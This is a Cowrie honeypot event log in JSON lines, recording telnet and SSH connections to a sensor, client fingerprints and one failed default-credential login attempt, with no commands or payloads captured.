{"eventid":"cowrie.session.closed","duration":31.024431705474854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:41.055726Z","src_ip":"185.111.235.80","session":"64bab64104c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6647469997406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:41.080006Z","src_ip":"185.111.235.80","session":"5af9aabdd1f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44314,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b2db7a4023a","protocol":"telnet","message":"New connection: 185.111.235.80:44314 (10.17.0.5:23) [session: 2b2db7a4023a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:41.193734Z"}
{"eventid":"cowrie.session.closed","duration":31.164109706878662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:41.221961Z","src_ip":"185.111.235.80","session":"036ca3dcb850","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49282,"dst_ip":"10.17.0.5","dst_port":23,"session":"2842e6f5426a","protocol":"telnet","message":"New connection: 185.111.235.80:49282 (10.17.0.5:23) [session: 2842e6f5426a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:41.243734Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49562,"dst_ip":"10.17.0.5","dst_port":23,"session":"89f63d5e78db","protocol":"telnet","message":"New connection: 185.111.235.80:49562 (10.17.0.5:23) [session: 89f63d5e78db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:41.296387Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49954,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b9d3c0adf40","protocol":"telnet","message":"New connection: 185.111.235.80:49954 (10.17.0.5:23) [session: 5b9d3c0adf40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:41.379789Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":50088,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2e8ec9e5127","protocol":"telnet","message":"New connection: 185.111.235.80:50088 (10.17.0.5:23) [session: f2e8ec9e5127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:41.409625Z"}
{"eventid":"cowrie.session.closed","duration":31.073947429656982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:41.499859Z","src_ip":"185.111.235.80","session":"2c8c5ced9c73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.202003240585327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:41.714002Z","src_ip":"185.111.235.80","session":"b0a66efa5651","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.141093969345093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:41.773922Z","src_ip":"185.111.235.80","session":"5aa1a591bfde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":52016,"dst_ip":"10.17.0.5","dst_port":23,"session":"86207a703b38","protocol":"telnet","message":"New connection: 185.111.235.80:52016 (10.17.0.5:23) [session: 86207a703b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:41.849146Z"}
{"eventid":"cowrie.session.closed","duration":30.84297776222229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:41.909892Z","src_ip":"185.111.235.80","session":"868fb60c88a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4175763130188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:42.073653Z","src_ip":"185.111.235.80","session":"72571a6dc6af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48706,"dst_ip":"10.17.0.5","dst_port":23,"session":"d38506a0f2ca","protocol":"telnet","message":"New connection: 185.111.235.80:48706 (10.17.0.5:23) [session: d38506a0f2ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:42.134685Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40444,"dst_ip":"10.17.0.5","dst_port":22,"session":"7589712198f0","protocol":"ssh","message":"New connection: 176.65.139.103:40444 (10.17.0.5:22) [session: 7589712198f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:42.247405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:42.279282Z","src_ip":"176.65.139.103","session":"7589712198f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54350,"dst_ip":"10.17.0.5","dst_port":23,"session":"8770395f9d30","protocol":"telnet","message":"New connection: 185.111.235.80:54350 (10.17.0.5:23) [session: 8770395f9d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:42.283152Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:42.377134Z","src_ip":"176.65.139.103","session":"7589712198f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.406437873840332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:42.444909Z","src_ip":"185.111.235.80","session":"2ceff3347adb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.665715217590332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:42.618774Z","src_ip":"185.111.235.80","session":"851b39283d09","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:42.626268Z","src_ip":"176.65.139.103","session":"7589712198f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":57360,"dst_ip":"10.17.0.5","dst_port":23,"session":"9246092d502f","protocol":"telnet","message":"New connection: 185.111.235.80:57360 (10.17.0.5:23) [session: 9246092d502f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:42.888133Z"}
{"eventid":"cowrie.session.closed","duration":34.98070931434631,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:43.002703Z","src_ip":"185.111.235.80","session":"9f81870bd5d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62035584449768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:43.066599Z","src_ip":"185.111.235.80","session":"7f12d1499af3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":58308,"dst_ip":"10.17.0.5","dst_port":23,"session":"d35db6df7ba4","protocol":"telnet","message":"New connection: 185.111.235.80:58308 (10.17.0.5:23) [session: d35db6df7ba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:43.090550Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":58314,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab031c06ad46","protocol":"telnet","message":"New connection: 185.111.235.80:58314 (10.17.0.5:23) [session: ab031c06ad46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:43.379863Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53706,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6806a8612cf","protocol":"telnet","message":"New connection: 185.111.235.80:53706 (10.17.0.5:23) [session: e6806a8612cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:43.384053Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59616,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5bf05499e79","protocol":"telnet","message":"New connection: 185.111.235.80:59616 (10.17.0.5:23) [session: b5bf05499e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:43.387727Z"}
{"eventid":"cowrie.session.closed","duration":31.4269061088562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:43.391303Z","src_ip":"185.111.235.80","session":"7d32e2435b90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.8098087310791,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:43.614042Z","src_ip":"185.111.235.80","session":"4a9ec2940636","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":33550,"dst_ip":"10.17.0.5","dst_port":23,"session":"b87650c5772b","protocol":"telnet","message":"New connection: 185.111.235.80:33550 (10.17.0.5:23) [session: b87650c5772b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:43.734803Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":33926,"dst_ip":"10.17.0.5","dst_port":23,"session":"9203ab6823e6","protocol":"telnet","message":"New connection: 185.111.235.80:33926 (10.17.0.5:23) [session: 9203ab6823e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:43.822650Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:43.828144Z","src_ip":"176.65.139.103","session":"7589712198f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.889145374298096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:44.009548Z","src_ip":"185.111.235.80","session":"f913aec82310","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":57782,"dst_ip":"10.17.0.5","dst_port":23,"session":"8db36a57a10a","protocol":"telnet","message":"New connection: 185.111.235.80:57782 (10.17.0.5:23) [session: 8db36a57a10a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:44.015211Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":37656,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d4a0a5a1ccd","protocol":"telnet","message":"New connection: 185.111.235.80:37656 (10.17.0.5:23) [session: 0d4a0a5a1ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:44.610664Z"}
{"eventid":"cowrie.session.closed","duration":30.8746120929718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:44.946856Z","src_ip":"185.111.235.80","session":"38ce19def3df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.784798860549927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:44.952407Z","src_ip":"185.111.235.80","session":"65dba6999bf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74461078643799,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:44.961420Z","src_ip":"185.111.235.80","session":"7d873d983886","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":45376,"dst_ip":"159.203.135.109","dst_port":23,"session":"789c8f2922dc","protocol":"telnet","message":"New connection: 117.120.7.112:45376 (159.203.135.109:23) [session: 789c8f2922dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:45.030042Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":39680,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bcc32b63f36","protocol":"telnet","message":"New connection: 185.111.235.80:39680 (10.17.0.5:23) [session: 5bcc32b63f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:45.079606Z"}
{"eventid":"cowrie.session.closed","duration":30.513925075531006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:45.163621Z","src_ip":"185.111.235.80","session":"504b8402553a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40582,"dst_ip":"10.17.0.5","dst_port":23,"session":"49f42e3c74a9","protocol":"telnet","message":"New connection: 185.111.235.80:40582 (10.17.0.5:23) [session: 49f42e3c74a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:45.241288Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":42694,"dst_ip":"10.17.0.5","dst_port":23,"session":"1860d3953d58","protocol":"telnet","message":"New connection: 185.111.235.80:42694 (10.17.0.5:23) [session: 1860d3953d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:45.702372Z"}
{"eventid":"cowrie.session.closed","duration":30.322439432144165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:45.945853Z","src_ip":"185.111.235.80","session":"b5a45f2355a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83398413658142,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:45.981536Z","src_ip":"185.111.235.80","session":"f562d31deb75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":39450,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba5429ce32bf","protocol":"telnet","message":"New connection: 185.111.235.80:39450 (10.17.0.5:23) [session: ba5429ce32bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:46.039750Z"}
{"eventid":"cowrie.session.closed","duration":30.49037456512451,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:46.058680Z","src_ip":"185.111.235.80","session":"7992665646df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.30963754653931,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:46.412407Z","src_ip":"185.111.235.80","session":"706658cbb65b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.65206003189087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:46.605765Z","src_ip":"185.111.235.80","session":"053dc7bba98d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.353320837020874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:46.629546Z","src_ip":"185.111.235.80","session":"6a4e4a3d8c25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30330777168274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:46.660650Z","src_ip":"185.111.235.80","session":"bde34c9b832a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":47322,"dst_ip":"10.17.0.5","dst_port":23,"session":"18b62f435b9c","protocol":"telnet","message":"New connection: 185.111.235.80:47322 (10.17.0.5:23) [session: 18b62f435b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:46.700443Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":47708,"dst_ip":"10.17.0.5","dst_port":23,"session":"407738d9cc3a","protocol":"telnet","message":"New connection: 185.111.235.80:47708 (10.17.0.5:23) [session: 407738d9cc3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:46.798731Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":47742,"dst_ip":"10.17.0.5","dst_port":23,"session":"abe90feaad52","protocol":"telnet","message":"New connection: 185.111.235.80:47742 (10.17.0.5:23) [session: abe90feaad52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:46.810948Z"}
{"eventid":"cowrie.session.closed","duration":31.030163764953613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:46.903809Z","src_ip":"185.111.235.80","session":"9b6a4efe2586","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61555552482605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:46.947757Z","src_ip":"185.111.235.80","session":"787484859980","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75304675102234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:47.031227Z","src_ip":"185.111.235.80","session":"5cb328e3b58d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.630817413330078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:47.063978Z","src_ip":"185.111.235.80","session":"125db8b14d31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.034878253936768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:47.181841Z","src_ip":"185.111.235.80","session":"d58fab4535ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.585103750228882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:47.187167Z","src_ip":"117.120.7.112","session":"d2e84487b893","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":51050,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d31a03910b2","protocol":"telnet","message":"New connection: 185.111.235.80:51050 (10.17.0.5:23) [session: 9d31a03910b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:47.462968Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":38004,"dst_ip":"10.17.0.5","dst_port":23,"session":"f38b8490e7d5","protocol":"telnet","message":"New connection: 185.111.235.80:38004 (10.17.0.5:23) [session: f38b8490e7d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:47.701087Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":52062,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffaa39eb9912","protocol":"telnet","message":"New connection: 185.111.235.80:52062 (10.17.0.5:23) [session: ffaa39eb9912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:47.747832Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":38420,"dst_ip":"10.17.0.5","dst_port":23,"session":"77ac579cfb0a","protocol":"telnet","message":"New connection: 185.111.235.80:38420 (10.17.0.5:23) [session: 77ac579cfb0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:47.793888Z"}
{"eventid":"cowrie.session.closed","duration":30.61379599571228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:47.922956Z","src_ip":"185.111.235.80","session":"8f0204290b25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.641122817993164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:47.943295Z","src_ip":"185.111.235.80","session":"bc486d42feb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15066409111023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:48.216874Z","src_ip":"185.111.235.80","session":"063c4b910c1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54750,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf97bf8df82c","protocol":"telnet","message":"New connection: 185.111.235.80:54750 (10.17.0.5:23) [session: bf97bf8df82c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:48.267929Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":55020,"dst_ip":"10.17.0.5","dst_port":23,"session":"426de922187d","protocol":"telnet","message":"New connection: 185.111.235.80:55020 (10.17.0.5:23) [session: 426de922187d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:48.299193Z"}
{"eventid":"cowrie.session.closed","duration":31.561827898025513,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:48.764460Z","src_ip":"185.111.235.80","session":"396087d2edf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.525805473327637,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:48.783221Z","src_ip":"185.111.235.80","session":"26e00c1598db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":58380,"dst_ip":"10.17.0.5","dst_port":23,"session":"5680a747014d","protocol":"telnet","message":"New connection: 185.111.235.80:58380 (10.17.0.5:23) [session: 5680a747014d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:49.039253Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":58374,"dst_ip":"10.17.0.5","dst_port":23,"session":"14a140741ef7","protocol":"telnet","message":"New connection: 185.111.235.80:58374 (10.17.0.5:23) [session: 14a140741ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:49.044771Z"}
{"eventid":"cowrie.session.closed","duration":30.706162929534912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:49.216485Z","src_ip":"185.111.235.80","session":"669cf9c3bed9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42296,"dst_ip":"10.17.0.5","dst_port":22,"session":"92061fecfc3d","protocol":"ssh","message":"New connection: 176.65.139.103:42296 (10.17.0.5:22) [session: 92061fecfc3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:49.372660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:49.376570Z","src_ip":"176.65.139.103","session":"92061fecfc3d","protocol":"ssh"}
